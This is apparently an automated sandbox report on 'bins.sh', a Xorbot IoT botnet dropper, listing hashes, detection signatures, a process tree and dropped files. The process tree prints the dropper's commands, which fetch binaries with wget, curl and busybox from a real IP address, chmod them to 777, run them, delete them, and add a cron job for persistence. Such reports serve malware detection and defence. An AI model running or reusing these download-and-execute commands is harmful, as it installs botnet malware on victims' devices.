Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/11/2024, 14:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a5d3dc448d642344e13e489694683276

  • SHA1

    beb14c3403aa18f04afe4401a7c5743b7adb936e

  • SHA256

    2683366855076f245c7ce03f71402314abdf64cffa41f23fa8a2639589722e43

  • SHA512

    7ae86b3efed87a06d4fcab9bb88c0d3c54089acea20c3a27f45c654b847d2f3e825002156db957a51c22fa28480c26b08b873e8afe8e1aeadfa6ae7e7e856abf

  • SSDEEP

    192:3+GW2OINZsAcyZhThDxapTfXsMo06HHNSWbn/aSKF5dTfXsM00cHHNSWDdaSKF5u:I2OINZ/hDkpTfXsMo0En/aSKF5dTfXsv

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1491
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1492
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:1493
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/chmod
          chmod 777 SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • File and Directory Permissions Modification
          PID:1509
        • /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          ./SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
          • Executes dropped EXE
          PID:1510
        • /bin/rm
          rm SzQvhT6qvViz444xB3OmGANYHR8biKaHU2
          2⤵
            PID:1512
          • /usr/bin/wget
            wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Writes file to tmp directory
            PID:1519
          • /bin/chmod
            chmod 777 d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • File and Directory Permissions Modification
            PID:1520
          • /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            ./d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
            • Executes dropped EXE
            PID:1521
          • /bin/rm
            rm d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4
            2⤵
              PID:1523
            • /usr/bin/wget
              wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:1524
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Writes file to tmp directory
              PID:1526
            • /bin/chmod
              chmod 777 R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • File and Directory Permissions Modification
              PID:1527
            • /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              ./R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:1528
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:1530
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:1531
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:1532
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:1533
                  • /bin/rm
                    rm R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY
                    2⤵
                      PID:1535
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/X17oFdlcr2V6GXbaNFYtXcHNjLyK9nWwZg
                      2⤵
                        PID:1538

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/R1geQGTGmD7ecd8zuDIBzYcVXUR8jnUfMY

                      Filesize

                      98KB

                      MD5

                      5141342d0df8699fa32a6b066a0c592e

                      SHA1

                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                      SHA256

                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                      SHA512

                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                    • /tmp/SzQvhT6qvViz444xB3OmGANYHR8biKaHU2

                      Filesize

                      111KB

                      MD5

                      701e7a55a4f3650f5feee92a9860e5fc

                      SHA1

                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                      SHA256

                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                      SHA512

                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                    • /tmp/d6kHzl2yE2q85XnP3iTFZHVhyXjTGSGYH4

                      Filesize

                      122KB

                      MD5

                      cd3d4b9c643e5b473fb4d88ed05f0716

                      SHA1

                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                      SHA256

                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                      SHA512

                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                    • /var/spool/cron/crontabs/tmp.P6rqGA

                      Filesize

                      210B

                      MD5

                      bf00a60c318db03e9c0ad12d7c502d50

                      SHA1

                      ccff25c76a17b906a70ce9b58619cba9533f9410

                      SHA256

                      a92f41858162f4a1545c14409967a08f1554c1ba5825bfcc341d9e7a78e77b3c

                      SHA512

                      078dec0bc63b9db4f0814187063792146b369aca32439e54b88753d3cff4d45ac99c5dca8061da1dec768e58343148a4e100495bdfc8914b060e9e0e39e596a0